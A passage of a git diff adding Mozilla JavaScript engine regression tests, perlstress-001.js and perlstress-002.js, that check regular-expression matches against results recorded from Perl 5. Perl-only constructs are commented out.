+ status = inSection(292);
+ pattern = /()?(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(293);
+ pattern = /()?(?(1)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(294);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = '(blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('(blah)', '(', ')');
+ addThis();
+
+ status = inSection(295);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = 'blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('blah');
+ addThis();
+
+ status = inSection(296);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = '(blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('(blah)', '(', ')');
+ addThis();
+
+ status = inSection(297);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = 'blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('blah');
+ addThis();
+
+ status = inSection(298);
+ pattern = /(?(?!a)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(299);
+ pattern = /(?(?=a)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+status = inSection(300);
+pattern = /(?=(a+?))(\1ab)/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aab', 'a', 'aab');
+addThis();
+
+status = inSection(301);
+pattern = /(\w+:)+/;
+string = 'one:';
+actualmatch = string.match(pattern);
+expectedmatch = Array('one:', 'one:');
+addThis();
+
+/* ECMA doesn't support (?< etc
+ status = inSection(302);
+ pattern = /$(?<=^(a))/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('', 'a');
+ addThis();
+*/
+
+status = inSection(303);
+pattern = /(?=(a+?))(\1ab)/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aab', 'a', 'aab');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(304);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('abcd', '', 'abcd');
+expectedmatch = Array('abcd', undefined, 'abcd');
+addThis();
+
+status = inSection(305);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'xy:z:::abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('xy:z:::abcd', 'xy:z:::', 'abcd');
+addThis();
+
+status = inSection(306);
+pattern = /^[^bcd]*(c+)/;
+string = 'aexycd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aexyc', 'c');
+addThis();
+
+status = inSection(307);
+pattern = /(a*)b+/;
+string = 'caab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aab', 'aa');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(308);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('abcd', '', 'abcd');
+expectedmatch = Array('abcd', undefined, 'abcd');
+addThis();
+
+status = inSection(309);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'xy:z:::abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('xy:z:::abcd', 'xy:z:::', 'abcd');
+addThis();
+
+status = inSection(310);
+pattern = /^[^bcd]*(c+)/;
+string = 'aexycd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aexyc', 'c');
+addThis();
+
+/* ECMA doesn't support (?>
+ status = inSection(311);
+ pattern = /(?>a+)b/;
+ string = 'aaab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaab');
+ addThis();
+*/
+
+status = inSection(312);
+pattern = /([[:]+)/;
+ string = 'a:[b]:';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array(':[', ':[');
+ addThis();
+
+ status = inSection(313);
+ pattern = /([[=]+)/;
+ string = 'a=[b]=';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('=[', '=[');
+ addThis();
+
+ status = inSection(314);
+ pattern = /([[.]+)/;
+ string = 'a.[b].';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('.[', '.[');
+ addThis();
+
+/* ECMA doesn't have rules for [:
+ status = inSection(315);
+ pattern = /[a[:]b[:c]/;
+ string = 'abc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abc');
+ addThis();
+*/
+
+/* ECMA doesn't support (?>
+ status = inSection(316);
+ pattern = /((?>a+)b)/;
+ string = 'aaab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaab', 'aaab');
+ addThis();
+
+ status = inSection(317);
+ pattern = /(?>(a+))b/;
+ string = 'aaab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaab', 'aaa');
+ addThis();
+
+ status = inSection(318);
+ pattern = /((?>[^()]+)|\([^()]*\))+/;
+ string = '((abc(ade)ufh()()x';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abc(ade)ufh()()x', 'x');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(319);
+ pattern = /\Z/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(320);
+ pattern = /\z/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(321);
+ pattern = /$/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(322);
+ pattern = /\Z/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(323);
+ pattern = /\z/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(324);
+ pattern = /$/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(325);
+ pattern = /\Z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(326);
+ pattern = /\z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(327);
+ pattern = /$/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(328);
+ pattern = /\Z/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(329);
+ pattern = /\z/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(330);
+ pattern = /$/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(331);
+ pattern = /\Z/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(332);
+ pattern = /\z/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(333);
+ pattern = /$/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(334);
+ pattern = /\Z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(335);
+ pattern = /\z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(336);
+ pattern = /$/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(337);
+ pattern = /a\Z/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(338);
+ pattern = /a$/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(339);
+ pattern = /a\Z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(340);
+ pattern = /a\z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+ status = inSection(341);
+ pattern = /a$/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(342);
+ pattern = /a$/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(343);
+ pattern = /a\Z/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+ status = inSection(344);
+ pattern = /a$/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(345);
+ pattern = /a\Z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(346);
+ pattern = /a\z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+ status = inSection(347);
+ pattern = /a$/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(348);
+ pattern = /aa\Z/;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(349);
+ pattern = /aa$/;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(350);
+ pattern = /aa\Z/;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+ status = inSection(351);
+ pattern = /aa\z/;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+ status = inSection(352);
+ pattern = /aa$/;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+ status = inSection(353);
+ pattern = /aa$/m;
+ string = 'aa\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(354);
+ pattern = /aa\Z/m;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+ status = inSection(355);
+ pattern = /aa$/m;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(356);
+ pattern = /aa\Z/m;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+ status = inSection(357);
+ pattern = /aa\z/m;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+ status = inSection(358);
+ pattern = /aa$/m;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(359);
+ pattern = /ab\Z/;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(360);
+ pattern = /ab$/;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(361);
+ pattern = /ab\Z/;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(362);
+ pattern = /ab\z/;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+ status = inSection(363);
+ pattern = /ab$/;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(364);
+ pattern = /ab$/m;
+ string = 'ab\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(365);
+ pattern = /ab\Z/m;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+ status = inSection(366);
+ pattern = /ab$/m;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(367);
+ pattern = /ab\Z/m;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(368);
+ pattern = /ab\z/m;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+ status = inSection(369);
+ pattern = /ab$/m;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(370);
+ pattern = /abb\Z/;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(371);
+ pattern = /abb$/;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(372);
+ pattern = /abb\Z/;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+ status = inSection(373);
+ pattern = /abb\z/;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+ status = inSection(374);
+ pattern = /abb$/;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+ status = inSection(375);
+ pattern = /abb$/m;
+ string = 'abb\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(376);
+ pattern = /abb\Z/m;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+ status = inSection(377);
+ pattern = /abb$/m;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(378);
+ pattern = /abb\Z/m;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+ status = inSection(379);
+ pattern = /abb\z/m;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+ status = inSection(380);
+ pattern = /abb$/m;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+ status = inSection(381);
+ pattern = /(^|x)(c)/;
+ string = 'ca';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('c', '', 'c');
+ addThis();
+
+ status = inSection(382);
+ pattern = /foo.bart/;
+ string = 'foo.bart';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('foo.bart');
+ addThis();
+
+ status = inSection(383);
+ pattern = /^d[x][x][x]/m;
+ string = 'abcd\ndxxx';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('dxxx');
+ addThis();
+
+ status = inSection(384);
+ pattern = /tt+$/;
+ string = 'xxxtt';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('tt');
+ addThis();
+
+/* ECMA spec says that each atom in a range must be a single character
+ status = inSection(385);
+ pattern = /([a-\d]+)/;
+ string = 'za-9z';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('9', '9');
+ addThis();
+
+ status = inSection(386);
+ pattern = /([\d-z]+)/;
+ string = 'a0-za';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('0-z', '0-z');
+ addThis();
+*/
+
+/* ECMA doesn't support [:
+ status = inSection(387);
+ pattern = /([a-[:digit:]]+)/;
+ string = 'za-9z';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a-9', 'a-9');
+ addThis();
+
+ status = inSection(388);
+ pattern = /([[:digit:]-z]+)/;
+ string = '=0-z=';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('0-z', '0-z');
+ addThis();
+
+ status = inSection(389);
+ pattern = /([[:digit:]-[:alpha:]]+)/;
+ string = '=0-z=';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('0-z', '0-z');
+ addThis();
+*/
+
+ status = inSection(390);
+ pattern = /(\d+\.\d+)/;
+ string = '3.1415926';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('3.1415926', '3.1415926');
+ addThis();
+
+ status = inSection(391);
+ pattern = /\.c(pp|xx|c)?$/i;
+ string = 'IO.c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('.c', undefined);
+ addThis();
+
+ status = inSection(392);
+ pattern = /(\.c(pp|xx|c)?$)/i;
+ string = 'IO.c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('.c', '.c', undefined);
+ addThis();
+
+ status = inSection(393);
+ pattern = /(^|a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(394);
+ pattern = /^([ab]*?)(b)?(c)$/;
+ string = 'abac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abac', 'aba', undefined, 'c');
+ addThis();
+
+ status = inSection(395);
+ pattern = /^(?:.,){2}c/i;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c');
+ addThis();
+
+ status = inSection(396);
+ pattern = /^(.,){2}c/i;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c', 'b,');
+ addThis();
+
+ status = inSection(397);
+ pattern = /^(?:[^,]*,){2}c/;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c');
+ addThis();
+
+ status = inSection(398);
+ pattern = /^([^,]*,){2}c/;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c', 'b,');
+ addThis();
+
+ status = inSection(399);
+ pattern = /^([^,]*,){3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(400);
+ pattern = /^([^,]*,){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(401);
+ pattern = /^([^,]*,){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(402);
+ pattern = /^([^,]{1,3},){3}d/i;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(403);
+ pattern = /^([^,]{1,3},){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(404);
+ pattern = /^([^,]{1,3},){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(405);
+ pattern = /^([^,]{1,},){3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(406);
+ pattern = /^([^,]{1,},){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(407);
+ pattern = /^([^,]{1,},){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(408);
+ pattern = /^([^,]{0,3},){3}d/i;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(409);
+ pattern = /^([^,]{0,3},){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(410);
+ pattern = /^([^,]{0,3},){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+/* ECMA doesn't support \A
+ status = inSection(411);
+ pattern = /(?!\A)x/m;
+ string = 'a\nxb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\n');
+ addThis();
+*/
+
+ status = inSection(412);
+ pattern = /^(a(b)?)+$/;
+ string = 'aba';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aba', 'a', undefined);
+ addThis();
+
+ status = inSection(413);
+ pattern = /^(aa(bb)?)+$/;
+ string = 'aabbaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aabbaa', 'aa', undefined);
+ addThis();
+
+ status = inSection(414);
+ pattern = /^.{9}abc.*\n/m;
+ string = '123\nabcabcabcabc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abcabcabcabc\n');
+ addThis();
+
+ status = inSection(415);
+ pattern = /^(a)?a$/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a', undefined);
+ addThis();
+
+ status = inSection(416);
+ pattern = /^(a\1?)(a\1?)(a\2?)(a\3?)$/;
+ string = 'aaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaa', 'a', 'aa', 'a', 'aa');
+ addThis();
+
+/* Can't refer to a capture before it's encountered & completed
+ status = inSection(417);
+ pattern = /^(a\1?){4}$/;
+ string = 'aaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaa', 'aaa');
+ addThis();
+*/
+
+ status = inSection(418);
+ pattern = /^(0+)?(?:x(1))?/;
+ string = 'x1';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('x1', undefined, '1');
+ addThis();
+
+ status = inSection(419);
+ pattern = /^([0-9a-fA-F]+)(?:x([0-9a-fA-F]+)?)(?:x([0-9a-fA-F]+))?/;
+ string = '012cxx0190';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('012cxx0190', '012c', undefined, '0190');
+ addThis();
+
+ status = inSection(420);
+ pattern = /^(b+?|a){1,2}c/;
+ string = 'bbbac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbbac', 'a');
+ addThis();
+
+ status = inSection(421);
+ pattern = /^(b+?|a){1,2}c/;
+ string = 'bbbbac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbbbac', 'a');
+ addThis();
+
+ status = inSection(422);
+ pattern = /((?:aaaa|bbbb)cccc)?/;
+ string = 'aaaacccc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaacccc', 'aaaacccc');
+ addThis();
+
+ status = inSection(423);
+ pattern = /((?:aaaa|bbbb)cccc)?/;
+ string = 'bbbbcccc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbbbcccc', 'bbbbcccc');
+ addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+ test();
+//-----------------------------------------------------------------------------
+
+
+
+ function addThis()
+ {
+ if(omitCurrentSection())
+ return;
+
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+ }
+
+
+ function omitCurrentSection()
+ {
+ try
+ {
+ // current section number is in global status variable
+ var n = status.match(/(\d+)/)[1];
+ return ((n < cnLBOUND) || (n > cnUBOUND));
+ }
+ catch(e)
+ {
+ return false;
+ }
+ }
+
+
+ function test()
+ {
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+ }
diff --git a/js/src/tests/ecma_3/RegExp/perlstress-002.js b/js/src/tests/ecma_3/RegExp/perlstress-002.js
new file mode 100644
index 000000000..126d12bc1
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/perlstress-002.js
@@ -0,0 +1,1808 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 2002-07-07
+ * SUMMARY: Testing JS RegExp engine against Perl 5 RegExp engine.
+ * Adjust cnLBOUND, cnUBOUND below to restrict which sections are tested.
+ *
+ * This test was created by running various patterns and strings through the
+ * Perl 5 RegExp engine. We saved the results below to test the JS engine.
+ *
+ * Each of the examples below is a negative test; that is, each produces a
+ * null match in Perl. Thus we set |expectedmatch| = |null| in each section.
+ *
+ * NOTE: ECMA/JS and Perl do differ on certain points. We have either commented
+ * out such sections altogether, or modified them to fit what we expect from JS.
+ *
+ * EXAMPLES:
+ *
+ * - ECMA does support (?: (?= and (?! operators, but doesn't support (?< etc.
+ *
+ * - ECMA doesn't support (?(condition)
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 85721;
+var summary = 'Testing regular expression edge cases';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+var cnLBOUND = 0;
+var cnUBOUND = 1000;
+
+
+status = inSection(1);
+pattern = /abc/;
+string = 'xbc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(2);
+pattern = /abc/;
+string = 'axc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(3);
+pattern = /abc/;
+string = 'abx';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(4);
+pattern = /ab+bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(5);
+pattern = /ab+bc/;
+string = 'abq';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(6);
+pattern = /ab{1,}bc/;
+string = 'abq';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(7);
+pattern = /ab{4,5}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(8);
+pattern = /ab?bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(9);
+pattern = /^abc$/;
+string = 'abcc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(10);
+pattern = /^abc$/;
+string = 'aabc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(11);
+pattern = /abc$/;
+string = 'aabcd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(12);
+pattern = /a.*c/;
+string = 'axyzd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(13);
+pattern = /a[bc]d/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(14);
+pattern = /a[b-d]e/;
+string = 'abd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(15);
+pattern = /a[^bc]d/;
+string = 'abd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(16);
+pattern = /a[^-b]c/;
+string = 'a-c';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(17);
+pattern = /a[^]b]c/;
+string = 'a]c';
+actualmatch = string.match(pattern);
+expectedmatch = null;
